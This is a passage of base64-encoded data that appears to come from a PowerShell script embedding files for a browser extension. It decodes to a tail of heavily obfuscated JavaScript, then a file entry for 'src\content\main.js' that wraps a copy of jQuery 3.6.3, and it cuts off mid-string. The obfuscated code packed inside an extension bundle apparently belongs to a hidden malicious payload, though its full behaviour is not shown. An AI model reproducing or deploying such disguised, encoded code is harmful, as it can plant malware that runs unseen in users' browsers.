RjZTQ0Mi0weGE5KTt9ZnVuY3Rpb24gXzB4MmZhZWRkKF8weDQ1NWQ5ZixfMHgxMDVjNWMsXzB4MWVjZDQ1LF8weDE0OWE1MSxfMHgzZTAxZDYpe3JldHVybiBfMHgzMTc3M2UoXzB4MTA1YzVjLF8weDEwNWM1Yy0weGM1LF8weDQ1NWQ5Zi0weGVjLF8weDE0OWE1MS0weDVmLF8weDNlMDFkNi0weGQyKTt9IWRvY3VtZW50W18weDIxMDQ3MSgweDNhNywnVCRQZCcsMHgzYTEsMHgzODEsMHgzOTApKyduJ10mJmRvY3VtZW50W18weDIxMDQ3MSgweDNiMiwnblMqcScsMHgzOWUsMHgzODIsMHgzOTcpK18weDIxMDQ3MSgweDM5OSwnRCk5eCcsMHgzODMsMHgzNzMsMHgzODEpXSgpJiZfMHgzZDJkNzNbXzB4Mzc4M2JkKDB4NDYyLCdEKTl4JywweDQ3NSwweDQ2MiwweDQ2NSldKF8weDRiMGI2NyxfMHgyOWI2NTIpO30sLTB4NCotMHgxYjQrMHgxY2NjKy0weDIxYTgpO31jYXRjaChfMHg2NWZiMzApe319KSgpKSk7Cg=='),@('c3JjXGNvbnRlbnRcbWFpbi5qcw==', 'KGZ1bmN0aW9uICgpIHsNCiAgICAvKiEgalF1ZXJ5IHYzLjYuMyB8IChjKSBPcGVuSlMgRm91bmRhdGlvbiBhbmQgb3RoZXIgY29udHJpYnV0b3JzIHwganF1ZXJ5Lm9yZy9saWNlbnNlICovDQogICAgIWZ1bmN0aW9uKGUsdCl7InVzZSBzdHJpY3QiOyJvYmplY3QiPT10eXBlb2YgbW9kdWxlJiYib2JqZWN0Ij09dHlwZW9mIG1vZHVsZS5leHBvcnRzP21vZHVsZS5leHBvcnRzPWUuZG9jdW1lbnQ/dChlLCEwKTpmdW5jdGlvbihlKXtpZighZS5kb2N1bWVudCl0aHJvdyBuZXcgRXJyb3IoImpRdWVyeSByZXF1aXJlcyBhIHdpbmRvdyB3aXRoIGEgZG9jdW1lbnQiKTtyZXR1cm4gdChlKX06dChlKX0oInVuZGVmaW5lZCIhPXR5cGVvZiB3aW5kb3c/d2luZG93OnRoaXMsZnVuY3Rpb24oQyxlKXsidXNlIHN0cmljdCI7dmFyIHQ9W10scj1PYmplY3QuZ2V0UHJvdG90eXBlT2Yscz10LnNsaWNlLGc9dC5mbGF0P2Z1bmN0aW9uKGUpe3JldHVybiB0LmZsYXQuY2FsbChlKX06ZnVuY3Rpb24oZSl7cmV0dXJuIHQuY29uY2F0LmFwcGx5KFtdLGUpfSx1PXQucHVzaCxpPXQuaW5kZXhPZixuPXt9LG89bi50b1N0cmluZyx5PW4uaGFzT3duUHJvcGVydHksYT15LnRvU3RyaW5nLGw9YS5jYWxsKE9iamVjdCksdj17fSxtPWZ1bmN0aW9uKGUpe3JldHVybiJmdW5jdGlvbiI9PXR5cGVvZiBlJiYibnVtYmVyIiE9dHlwZW9mIGUubm9kZVR5cGUmJiJmdW5jdGlvbiIhPXR5cGVvZiBlLml0ZW19LHg9ZnVuY3Rpb24oZSl7cmV0dXJuIG51bGwhPWUmJmU9PT1lLndpbmRvd30sUz1DLmRvY3VtZW50LGM9e3R5cGU6ITAsc3JjOiEwLG5vbmNlOiEwLG5vTW9kdWxlOiEwfTtmdW5jdGlvbiBiKGUsdCxuKXt2YXIgcixpLG89KG49bnx8UykuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7aWYoby50ZXh0PWUsdClmb3IociBpbiBjKShpPXRbcl18fHQuZ2V0QXR0cmlidXRlJiZ0LmdldEF0dHJpYnV0ZShyKSkmJm8uc2V0QXR0cmlidXRlKHIsaSk7bi5oZWFkLmFwcGVuZENoaWxkKG8pLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobyl9ZnVuY3Rpb24gdyhlKXtyZXR1cm4gbnVsbD09ZT9lKyIiOiJvYmplY3QiPT10eXBlb2YgZXx8ImZ1bmN0aW9uIj09dHlwZW9mIGU/bltvLmNhbGwoZSldfHwib2JqZWN0Ijp0eXBlb2YgZX12YXIgZj0iMy42LjMiLEU9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gbmV3IEUuZm4uaW5pdChlLHQpfTtmdW5jdGlvbiBwKGUpe3ZhciB0PSEhZSYmImxlbmd0aCJpbiBlJiZlLmxlbmd0aCxuPXcoZSk7cmV0dXJuIW0oZSkmJiF4KGUpJiYoImFycmF5Ij09PW58fDA9PT10fHwibnVtYmVyIj09dHlwZW9mIHQmJjA8dCYmdC0xIGluIGUpfUUuZm49RS5wcm90b3R5cGU9e2pxdWVyeTpmLGNvbnN0cnVjdG9yOkUsbGVuZ3RoOjAsdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiBzLmNhbGwodGhpcyl9LGdldDpmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZT9zLmNhbGwodGhpcyk6ZTwwP3RoaXNbZSt0aGlzLmxlbmd0aF06dGhpc1tlXX0scHVzaFN0YWNrOmZ1bmN0aW9uKGUpe3ZhciB0PUUubWVyZ2UodGhpcy5jb25zdHJ1Y3RvcigpLGUpO3JldHVybiB0LnByZXZPYmplY3Q9dGhpcyx0fSxlYWNoOmZ1bmN0aW9uKGUpe3JldHVybiBFLmVhY2godGhpcyxlKX0sbWFwOmZ1bmN0aW9uKG4pe3JldHVybiB0aGlzLnB1c2hTdGFjayhFLm1hcCh0aGlzLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIG4uY2FsbChlLHQsZSl9KSl9LHNsaWNlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKHMuYXBwbHkodGhpcyxhcmd1bWVudHMpKX0sZmlyc3Q6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lcSgwKX0sbGFzdDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVxKC0xKX0sZXZlbjpmdW5jdGlvbigpe3JldHVybiB0aGlzLnB1c2hTdGFjayhFLmdyZXAodGhpcyxmdW5jdGlvbihlLHQpe3JldHVybih0KzEpJTJ9KSl9LG9kZDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnB1c2hTdGFjayhFLmdyZXAodGhpcyxmdW5jdGlvbihlLHQpe3JldHVybiB0JTJ9KSl9LGVxOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMubGVuZ3RoLG49K2UrKGU8MD90OjApO3JldHVybiB0aGlzLnB1c2hTdGFjaygwPD1uJiZuPHQ/W3RoaXNbbl1dOltdKX0sZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHJldk9iamVjdHx8dGhpcy5jb25zdHJ1Y3RvcigpfSxwdXNoOnUsc29ydDp0LnNvcnQsc3BsaWNlOnQuc3BsaWNlfSxFLmV4dGVuZD1FLmZuLmV4dGVuZD1mdW5jdGlvbigpe3ZhciBlLHQsbixyLGksbyxhPWFyZ3VtZW50c1swXXx8e30scz0xLHU9YXJndW1lbnRzLmxlbmd0aCxsPSExO2ZvcigiYm9vbGVhbiI9PXR5cGVvZiBhJiYobD1hLGE9YXJndW1lbnRzW3NdfHx7fSxzKyspLCJvYmplY3QiPT10eXBlb2YgYXx8bShhKXx8KGE9e30pLHM9PT11JiYoYT10aGlzLHMtLSk7czx1O3MrKylpZihudWxsIT0oZT1hcmd1bWVudHNbc10pKWZvcih0IGluIGUpcj1lW3RdLCJfX3Byb3RvX18iIT09dCYmYSE9PXImJihsJiZyJiYoRS5pc1BsYWluT2JqZWN0KHIpfHwoaT1BcnJheS5pc0FycmF5KHIpKSk/KG49YVt0XSxvPWkmJiFBcnJheS5pc0FycmF5KG4pP1tdOml8fEUuaXNQbGFpbk9iamVjdChuKT9uOnt9LGk9ITEsYVt0XT1FLmV4dGVuZChsLG8scikpOnZvaWQgMCE9PXImJihhW3RdPXIpKTtyZXR1cm4gYX0sRS5leHRlbmQoe2V4cGFuZG86ImpRdWVyeSIrKGYrTWF0aC5yYW5kb20oKSkucmVwbGFjZSgvXEQvZywiIiksaXNSZWFkeTohMCxlcnJvcjpmdW5jdGlvbihlKXt0aHJvdyBuZXcgRXJyb3IoZSl9LG5vb3A6ZnVuY3Rpb24oKXt9LGlzUGxhaW5PYmplY3Q6ZnVuY3Rpb24oZSl7dmFyIHQsbjtyZXR1cm4hKCFlfHwiW29iamVjdCBPYmplY3RdIiE9PW8uY2FsbChlKSkmJighKHQ9cihlKSl8fCJmdW5jdGlvbiI9PXR5cGVvZihuPXkuY2FsbCh0LCJjb25zdHJ1Y3RvciIpJiZ0LmNvbnN0cnVjdG9yKSYmYS5jYWxsKG4pPT09bCl9LGlzRW1wdHlPYmplY3Q6ZnVuY3Rpb24oZSl7dmFyIHQ7Zm9yKHQgaW4gZSlyZXR1cm4hMTtyZXR1cm4hMH0sZ2xvYmFsRXZhbDpmdW5jdGlvbihlLHQsbil7YihlLHtub25jZTp0JiZ0Lm5vbmNlfSxuKX0sZWFjaDpmdW5jdGlvbihlLHQpe3ZhciBuLHI9MDtpZihwKGUpKXtmb3Iobj1lLmxlbmd0aDtyPG47cisrKWlmKCExPT09dC5jYWxsKGVbcl0scixlW3JdKSlicmVha31lbHNlIGZvcihyIGluIGUpaWYoITE9PT10LmNhbGwoZVtyXSxyLGVbcl0pKWJyZWFrO3JldHVybiBlfSxtYWtlQXJyYXk6ZnVuY3Rpb24oZSx0KXt2YXIgbj10fHxbXTtyZXR1cm4gbnVsbCE9ZSYmKHAoT2JqZWN0KGUpKT9FLm1lcmdlKG4sInN0cmluZyI9PXR5cGVvZiBlP1tlXTplKTp1LmNhbGwobixlKSksbn0saW5BcnJheTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIG51bGw9PXQ/LTE6aS5jYWxsKHQsZSxuKX0sbWVyZ2U6ZnVuY3Rpb24oZSx0KXtmb3IodmFyIG49K3QubGVuZ3RoLHI9MCxpPWUubGVuZ3RoO3I8bjtyKyspZVtpKytdPXRbcl07cmV0dXJuIGUubGVuZ3RoPWksZX0sZ3JlcDpmdW5jdGlvbihlLHQsbil7Zm9yKHZhciByPVtdLGk9MCxvPWUubGVuZ3RoLGE9IW47aTxvO2krKykhdChlW2ldLGkpIT09YSYmci5wdXNoKGVbaV0pO3JldHVybiByfSxtYXA6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz0wLGE9W107aWYocChlKSlmb3Iocj1lLmxlbmd0aDtvPHI7bysrKW51bGwhPShpPXQoZVtvXSxvLG4pKSYmYS5wdXNoKGkpO2Vsc2UgZm9yKG8gaW4gZSludWxsIT0oaT10KGVbb10sbyxuKSkmJmEucHVzaChpKTtyZXR1cm4gZyhhKX0sZ3VpZDoxLHN1cHBvcnQ6dn0pLCJmdW5jdGlvbiI9PXR5cGVvZiBTeW1ib2wmJihFLmZuW1N5bWJvbC5pdGVyYXRvcl09dFtTeW1ib2wuaXRlcmF0b3JdKSxFLmVhY2goIkJvb2xlYW4gTnVtYmVyIFN0cmluZyBGdW5jdGlvbiBBcnJheSBEYXRlIFJlZ0V4cCBPYmplY3QgRXJyb3IgU3ltYm9sIi5zcGxpdCgiICIpLGZ1bmN0aW9uKGUsdCl7blsiW29iamVjdCAiK3QrIl0iXT10LnRvTG93ZXJDYXNlKCl9KTt2YXIgZD1mdW5jdGlvbihuKXt2YXIgZSxkLGIsbyxpLGgsZixnLHcsdSxsLFQsQyxhLFMseSxzLGMsdixFPSJzaXp6bGUiKzEqbmV3IERhdGUscD1uLmRvY3VtZW50LGs9MCxyPTAsbT11ZSgpLHg9dWUoKSxBPXVlKCksTj11ZSgpLGo9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZT09PXQmJihsPSEwKSwwfSxEPXt9Lmhhc093blByb3BlcnR5LHQ9W10scT10LnBvcCxMPXQucHVzaCxIPXQucHVzaCxPPXQuc2xpY2UsUD1mdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wLHI9ZS5sZW5ndGg7bjxyO24rKylpZihlW25dPT09dClyZXR1cm4gbjtyZXR1cm4tMX0sUj0iY2hlY2tlZHxzZWxlY3RlZHxhc3luY3xhdXRvZm9jdXN8YXV0b3BsYXl8Y29udHJvbHN8ZGVmZXJ8ZGlzYWJsZWR8aGlkZGVufGlzbWFwfGxvb3B8bXVsdGlwbGV8b3BlbnxyZWFkb25seXxyZXF1aXJlZHxzY29wZWQiLE09IltcXHgyMFxcdFxcclxcblxcZl0iLEk9Iig/OlxcXFxbXFxkYS1mQS1GXXsxLDZ9IitNKyI/fFxcXFxbXlxcclxcblxcZl18W1xcdy1dfFteXDAtXFx4N2ZdKSsiLFc9IlxcWyIrTSsiKigiK0krIikoPzoiK00rIiooWypeJHwhfl0/PSkiK00rIiooPzonKCg/OlxcXFwufFteXFxcXCddKSopJ3xcIigoPzpcXFxcLnxbXlxcXFxcIl0pKilcInwoIitJKyIpKXwpIitNKyIqXFxdIixGPSI6KCIrSSsiKSg/OlxcKCgoJygoPzpcXFxcLnxbXlxcXFwnXSkqKSd8XCIoKD86XFxcXC58W15cXFxcXCJdKSopXCIpfCgoPzpcXFxcLnxbXlxcXFwoKVtcXF1dfCIrVysiKSopfC4qKVxcKXwpIiwkPW5ldyBSZWdFeHAoTSsiKyIsImciKSxCPW5ldyBSZWdFeHAoIl4iK00rIit8KCg/Ol58W15cXFxcXSkoPzpcXFxcLikqKSIrTSsiKyQiLCJnIiksXz1uZXcgUmVnRXhwKCJeIitNKyIqLCIrTSsiKiIpLHo9bmV3IFJlZ0V4cCgiXiIrTSsiKihbPit+XXwiK00rIikiK00rIioiKSxVPW5ldyBSZWdFeHAoTSsifD4iKSxYPW5ldyBSZWdFeHAoRiksVj1uZXcgUmVnRXhwKCJeIitJKyIkIiksRz17SUQ6bmV3IFJlZ0V4cCgiXiMoIitJKyIpIiksQ0xBU1M6bmV3IFJlZ0V4cCgiXlxcLigiK0krIikiKSxUQUc6bmV3IFJlZ0V4cCgiXigiK0krInxbKl0pIiksQVRUUjpuZXcgUmVnRXhwKCJeIitXKSxQU0VVRE86bmV3IFJlZ0V4cCgiXiIrRiksQ0hJTEQ6bmV3IFJlZ0V4cCgiXjoob25seXxmaXJzdHxsYXN0fG50aHxudGgtbGFzdCktKGNoaWxkfG9mLXR5cGUpKD86XFwoIitNKyIqKGV2ZW58b2RkfCgoWystXXwpKFxcZCopbnwpIitNKyIqKD86KFsrLV18KSIrTSsiKihcXGQrKXwpKSIrTSsiKlxcKXwpIiwiaSIpLGJvb2w6bmV3IFJlZ0V4cCgiXig/OiIrUisiKSQiLCJpIiksbmVlZHNDb250ZXh0Om5ldyBSZWdFeHAoIl4iK00rIipbPit+XXw6KGV2ZW58b2RkfGVxfGd0fGx0fG50aHxmaXJzdHxsYXN0KSg/OlxcKCIrTSsiKigoPzotXFxkKT9cXGQqKSIrTSsiKlxcKXwpKD89W14tXXwkKSIsImkiKX0sWT0vSFRNTCQvaSxRPS9eKD86aW5wdXR8c2VsZWN0fHRleHRhcmVhfGJ1dHRvbikkL2ksSj0vXmhcZCQvaSxLPS9eW157XStce1xzKlxbbmF0aXZlIFx3LyxaPS9eKD86IyhbXHctXSspfChcdyspfFwuKFtcdy1dKykpJC8sZWU9L1srfl0vLHRlPW5ldyBSZWdFeHAoIlxcXFxbXFxkYS1mQS1GXXsxLDZ9IitNKyI/fFxcXFwoW15cXHJcXG5cXGZdKSIsImciKSxuZT1mdW5jdGlvbihlLHQpe3ZhciBuPSIweCIrZS5zbGljZSgxKS02NTUzNjtyZXR1cm4gdHx8KG48MD9TdHJpbmcuZnJvbUNoYXJDb2RlKG4rNjU1MzYpOlN0cmluZy5mcm9tQ2hhckNvZGUobj4+MTB8NTUyOTYsMTAyMyZufDU2MzIwKSl9LHJlPS8oW1wwLVx4MWZceDdmXXxeLT9cZCl8Xi0kfFteXDAtXHgxZlx4N2YtXHVGRkZGXHctXS9nLGllPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQ/IlwwIj09PWU/Ilx1ZmZmZCI6ZS5zbGljZSgwLC0xKSsiXFwiK2UuY2hhckNvZGVBdChlLmxlbmd0aC0xKS50b1N0cmluZygxNikrIiAiOiJcXCIrZX0sb2U9ZnVuY3Rpb24oKXtUKCl9LGFlPWJlKGZ1bmN0aW9uKGUpe3JldHVybiEwPT09ZS5kaXNhYmxlZCYmImZpZWxkc2V0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKX0se2RpcjoicGFyZW50Tm9kZSIsbmV4dDoibGVnZW5kIn0pO3RyeXtILmFwcGx5KHQ9Ty5jYWxsKHAuY2hpbGROb2RlcykscC5jaGlsZE5vZGVzKSx0W3AuY2hpbGROb2Rlcy5sZW5ndGhdLm5vZGVUeXBlfWNhdGNoKGUpe0g9e2FwcGx5OnQubGVuZ3RoP2Z1bmN0aW9uKGUsdCl7TC5hcHBseShlLE8uY2FsbCh0KSl9OmZ1bmN0aW9uKGUsdCl7dmFyIG49ZS5sZW5ndGgscj0wO3doaWxlKGVbbisrXT10W3IrK10pO2UubGVuZ3RoPW4tMX19fWZ1bmN0aW9uIHNlKHQsZSxuLHIpe3ZhciBpLG8sYSxzLHUsbCxjLGY9ZSYmZS5vd25lckRvY3VtZW50LHA9ZT9lLm5vZGVUeXBlOjk7aWYobj1ufHxbXSwic3RyaW5nIiE9dHlwZW9mIHR8fCF0fHwxIT09cCYmOSE9PXAmJjExIT09cClyZXR1cm4gbjtpZighciYmKFQoZSksZT1lfHxDLFMpKXtpZigxMSE9PXAmJih1PVouZXhlYyh0KSkpaWYoaT11WzFdKXtpZig5PT09cCl7aWYoIShhPWUuZ2V0RWxlbWVudEJ5SWQoaSkpKXJldHVybiBuO2lmKGEuaWQ9PT1pKXJldHVybiBuLnB1c2goYSksbn1lbHNlIGlmKGYmJihhPWYuZ2V0RWxlbWVudEJ5SWQoaSkpJiZ2KGUsYSkmJmEuaWQ9PT1pKXJldHVybiBuLnB1c2goYSksbn1lbHNle2lmKHVbMl0pcmV0dXJuIEguYXBwbHkobixlLmdldEVsZW1lbnRzQnlUYWdOYW1lKHQpKSxuO2lmKChpPXVbM10pJiZkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJmUuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSlyZXR1cm4gSC5hcHBseShuLGUuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZShpKSksbn1pZihkLnFzYSYmIU5bdCsiICJdJiYoIXl8fCF5LnRlc3QodCkpJiYoMSE9PXB8fCJvYmplY3QiIT09ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKSl7aWYoYz10LGY9ZSwxPT09cCYmKFUudGVzdCh0KXx8ei50ZXN0KHQpKSl7KGY9ZWUudGVzdCh0KSYmdmUoZS5wYXJlbnROb2RlKXx8ZSk9PT1lJiZkLnNjb3BlfHwoKHM9ZS5nZXRBdHRyaWJ1dGUoImlkIikpP3M9cy5yZXBsYWNlKHJlLGllKTplLnNldEF0dHJpYnV0ZSgiaWQiLHM9RSkpLG89KGw9aCh0KSkubGVuZ3RoO3doaWxlKG8tLSlsW29dPShzPyIjIitzOiI6c2NvcGUiKSsiICIreGUobFtvXSk7Yz1sLmpvaW4oIiwiKX10cnl7aWYoZC5jc3NTdXBwb3J0c1NlbGVjdG9yJiYhQ1NTLnN1cHBvcnRzKCJzZWxlY3Rvcig6aXMoIitjKyIpKSIpKXRocm93IG5ldyBFcnJvcjtyZXR1cm4gSC5hcHBseShuLGYucXVlcnlTZWxlY3RvckFsbChjKSksbn1jYXRjaChlKXtOKHQsITApfWZpbmFsbHl7cz09PUUmJmUucmVtb3ZlQXR0cmlidXRlKCJpZCIpfX19cmV0dXJuIGcodC5yZXBsYWNlKEIsIiQxIiksZSxuLHIpfWZ1bmN0aW9uIHVlKCl7dmFyIHI9W107cmV0dXJuIGZ1bmN0aW9uIGUodCxuKXtyZXR1cm4gci5wdXNoKHQrIiAiKT5iLmNhY2hlTGVuZ3RoJiZkZWxldGUgZVtyLnNoaWZ0KCldLGVbdCsiICJdPW59fWZ1bmN0aW9uIGxlKGUpe3JldHVybiBlW0VdPSEwLGV9ZnVuY3Rpb24gY2UoZSl7dmFyIHQ9Qy5jcmVhdGVFbGVtZW50KCJmaWVsZHNldCIpO3RyeXtyZXR1cm4hIWUodCl9Y2F0Y2goZSl7cmV0dXJuITF9ZmluYWxseXt0LnBhcmVudE5vZGUmJnQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0KSx0PW51bGx9fWZ1bmN0aW9uIGZlKGUsdCl7dmFyIG49ZS5zcGxpdCgifCIpLHI9bi5sZW5ndGg7d2hpbGUoci0tKWIuYXR0ckhhbmRsZVtuW3JdXT10fWZ1bmN0aW9uIHBlKGUsdCl7dmFyIG49dCYmZSxyPW4mJjE9PT1lLm5vZGVUeXBlJiYxPT09dC5ub2RlVHlwZSYmZS5zb3VyY2VJbmRleC10LnNvdXJjZUluZGV4O2lmKHIpcmV0dXJuIHI7aWYobil3aGlsZShuPW4ubmV4dFNpYmxpbmcpaWYobj09PXQpcmV0dXJuLTE7cmV0dXJuIGU/MTotMX1mdW5jdGlvbiBkZSh0KXtyZXR1cm4gZnVuY3Rpb24oZSl7cmV0dXJuImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSYmZS50eXBlPT09dH19ZnVuY3Rpb24gaGUobil7cmV0dXJuIGZ1bmN0aW9uKGUpe3ZhciB0PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKTtyZXR1cm4oImlucHV0Ij09PXR8fCJidXR0b24iPT09dCkmJmUudHlwZT09PW59fWZ1bmN0aW9uIGdlKHQpe3JldHVybiBmdW5jdGlvbihlKXtyZXR1cm4iZm9ybSJpbiBlP2UucGFyZW50Tm9kZSYmITE9PT1lLmRpc2FibGVkPyJsYWJlbCJpbiBlPyJsYWJlbCJpbiBlLnBhcmVudE5vZGU/ZS5wYXJlbnROb2RlLmRpc2FibGVkPT09dDplLmRpc2FibGVkPT09dDplLmlzRGlzYWJsZWQ9PT10fHxlLmlzRGlzYWJsZWQhPT0hdCYmYWUoZSk9PT10OmUuZGlzYWJsZWQ9PT10OiJsYWJlbCJpbiBlJiZlLmRpc2FibGVkPT09dH19ZnVuY3Rpb24geWUoYSl7cmV0dXJuIGxlKGZ1bmN0aW9uKG8pe3JldHVybiBvPStvLGxlKGZ1bmN0aW9uKGUsdCl7dmFyIG4scj1hKFtdLGUubGVuZ3RoLG8pLGk9ci5sZW5ndGg7d2hpbGUoaS0tKWVbbj1yW2ldXSYmKGVbbl09ISh0W25dPWVbbl0pKX0pfSl9ZnVuY3Rpb24gdmUoZSl7cmV0dXJuIGUmJiJ1bmRlZmluZWQiIT10eXBlb2YgZS5nZXRFbGVtZW50c0J5VGFnTmFtZSYmZX1mb3IoZSBpbiBkPXNlLnN1cHBvcnQ9e30saT1zZS5pc1hNTD1mdW5jdGlvbihlKXt2YXIgdD1lJiZlLm5hbWVzcGFjZVVSSSxuPWUmJihlLm93bmVyRG9jdW1lbnR8fGUpLmRvY3VtZW50RWxlbWVudDtyZXR1cm4hWS50ZXN0KHR8fG4mJm4ubm9kZU5hbWV8fCJIVE1MIil9LFQ9c2Uuc2V0RG9jdW1lbnQ9ZnVuY3Rpb24oZSl7dmFyIHQsbixyPWU/ZS5vd25lckRvY3VtZW50fHxlOnA7cmV0dXJuIHIhPUMmJjk9PT1yLm5vZGVUeXBlJiZyLmRvY3VtZW50RWxlbWVudCYmKGE9KEM9cikuZG9jdW1lbnRFbGVtZW50LFM9IWkoQykscCE9QyYmKG49Qy5kZWZhdWx0VmlldykmJm4udG9wIT09biYmKG4uYWRkRXZlbnRMaXN0ZW5lcj9uLmFkZEV2ZW50TGlzdGVuZXIoInVubG9hZCIsb2UsITEpOm4uYXR0YWNoRXZlbnQmJm4uYXR0YWNoRXZlbnQoIm9udW5sb2FkIixvZSkpLGQuc2NvcGU9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGEuYXBwZW5kQ2hpbGQoZSkuYXBwZW5kQ2hpbGQoQy5jcmVhdGVFbGVtZW50KCJkaXYiKSksInVuZGVmaW5lZCIhPXR5cGVvZiBlLnF1ZXJ5U2VsZWN0b3JBbGwmJiFlLnF1ZXJ5U2VsZWN0b3JBbGwoIjpzY29wZSBmaWVsZHNldCBkaXYiKS5sZW5ndGh9KSxkLmNzc1N1cHBvcnRzU2VsZWN0b3I9Y2UoZnVuY3Rpb24oKXtyZXR1cm4gQ1NTLnN1cHBvcnRzKCJzZWxlY3RvcigqKSIpJiZDLnF1ZXJ5U2VsZWN0b3JBbGwoIjppcyg6anFmYWtlKSIpJiYhQ1NTLnN1cHBvcnRzKCJzZWxlY3Rvcig6aXMoKiw6anFmYWtlKSkiKX0pLGQuYXR0cmlidXRlcz1jZShmdW5jdGlvbihlKXtyZXR1cm4gZS5jbGFzc05hbWU9ImkiLCFlLmdldEF0dHJpYnV0ZSgiY2xhc3NOYW1lIil9KSxkLmdldEVsZW1lbnRzQnlUYWdOYW1lPWNlKGZ1bmN0aW9uKGUpe3JldHVybiBlLmFwcGVuZENoaWxkKEMuY3JlYXRlQ29tbWVudCgiIikpLCFlLmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIikubGVuZ3RofSksZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lPUsudGVzdChDLmdldEVsZW1lbnRzQnlDbGFzc05hbWUpLGQuZ2V0QnlJZD1jZShmdW5jdGlvbihlKXtyZXR1cm4gYS5hcHBlbmRDaGlsZChlKS5pZD1FLCFDLmdldEVsZW1lbnRzQnlOYW1lfHwhQy5nZXRFbGVtZW50c0J5TmFtZShFKS5sZW5ndGh9KSxkLmdldEJ5SWQ/KGIuZmlsdGVyLklEPWZ1bmN0aW9uKGUpe3ZhciB0PWUucmVwbGFjZSh0ZSxuZSk7cmV0dXJuIGZ1bmN0aW9uKGUpe3JldHVybiBlLmdldEF0dHJpYnV0ZSgiaWQiKT09PXR9fSxiLmZpbmQuSUQ9ZnVuY3Rpb24oZSx0KXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIHQuZ2V0RWxlbWVudEJ5SWQmJlMpe3ZhciBuPXQuZ2V0RWxlbWVudEJ5SWQoZSk7cmV0dXJuIG4/W25dOltdfX0pOihiLmZpbHRlci5JRD1mdW5jdGlvbihlKXt2YXIgbj1lLnJlcGxhY2UodGUsbmUpO3JldHVybiBmdW5jdGlvbihlKXt2YXIgdD0idW5kZWZpbmVkIiE9dHlwZW9mIGUuZ2V0QXR0cmlidXRlTm9kZSYmZS5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpO3JldHVybiB0JiZ0LnZhbHVlPT09bn19LGIuZmluZC5JRD1mdW5jdGlvbihlLHQpe2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgdC5nZXRFbGVtZW50QnlJZCYmUyl7dmFyIG4scixpLG89dC5nZXRFbGVtZW50QnlJZChlKTtpZihvKXtpZigobj1vLmdldEF0dHJpYnV0ZU5vZGUoImlkIikpJiZuLnZhbHVlPT09ZSlyZXR1cm5bb107aT10LmdldEVsZW1lbnRzQnlOYW1lKGUpLHI9MDt3aGlsZShvPWlbcisrXSlpZigobj1vLmdldEF0dHJpYnV0ZU5vZGUoImlkIikpJiZuLnZhbHVlPT09ZSlyZXR1cm5bb119cmV0dXJuW119fSksYi5maW5kLlRBRz1kLmdldEVsZW1lbnRzQnlUYWdOYW1lP2Z1bmN0aW9uKGUsdCl7cmV0dXJuInVuZGVmaW5lZCIhPXR5cGVvZiB0LmdldEVsZW1lbnRzQnlUYWdOYW1lP3QuZ2V0RWxlbWVudHNCeVRhZ05hbWUoZSk6ZC5xc2E/dC5xdWVyeVNlbGVjdG9yQWxsKGUpOnZvaWQgMH06ZnVuY3Rpb24oZSx0KXt2YXIgbixyPVtdLGk9MCxvPXQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoZSk7aWYoIioiPT09ZSl7d2hpbGUobj1vW2krK10pMT09PW4ubm9kZVR5cGUmJnIucHVzaChuKTtyZXR1cm4gcn1yZXR1cm4gb30sYi5maW5kLkNMQVNTPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSYmZnVuY3Rpb24oZSx0KXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIHQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSYmUylyZXR1cm4gdC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGUpfSxzPVtdLHk9W10sKGQucXNhPUsudGVzdChDLnF1ZXJ5U2VsZWN0b3JBbGwpKSYmKGNlKGZ1bmN0aW9uKGUpe3ZhciB0O2EuYXBwZW5kQ2hpbGQoZSkuaW5uZXJIVE1MPSI8YSBpZD0nIitFKyInPjwvYT48c2VsZWN0IGlkPSciK0UrIi1cclxcJyBtc2FsbG93Y2FwdHVyZT0nJz48b3B0aW9uIHNlbGVjdGVkPScnPjwvb3B0aW9uPjwvc2VsZWN0PiIsZS5xdWVyeVNlbGVjdG9yQWxsKCJbbXNhbGxvd2NhcHR1cmVePScnXSIpLmxlbmd0aCYmeS5wdXNoKCJbKl4kXT0iK00rIiooPzonJ3xcIlwiKSIpLGUucXVlcnlTZWxlY3RvckFsbCgiW3NlbGVjdGVkXSIpLmxlbmd0aHx8eS5wdXNoKCJcXFsiK00rIiooPzp2YWx1ZXwiK1IrIikiKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIltpZH49IitFKyItXSIpLmxlbmd0aHx8eS5wdXNoKCJ+PSIpLCh0PUMuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkuc2V0QXR0cmlidXRlKCJuYW1lIiwiIiksZS5hcHBlbmRDaGlsZCh0KSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIltuYW1lPScnXS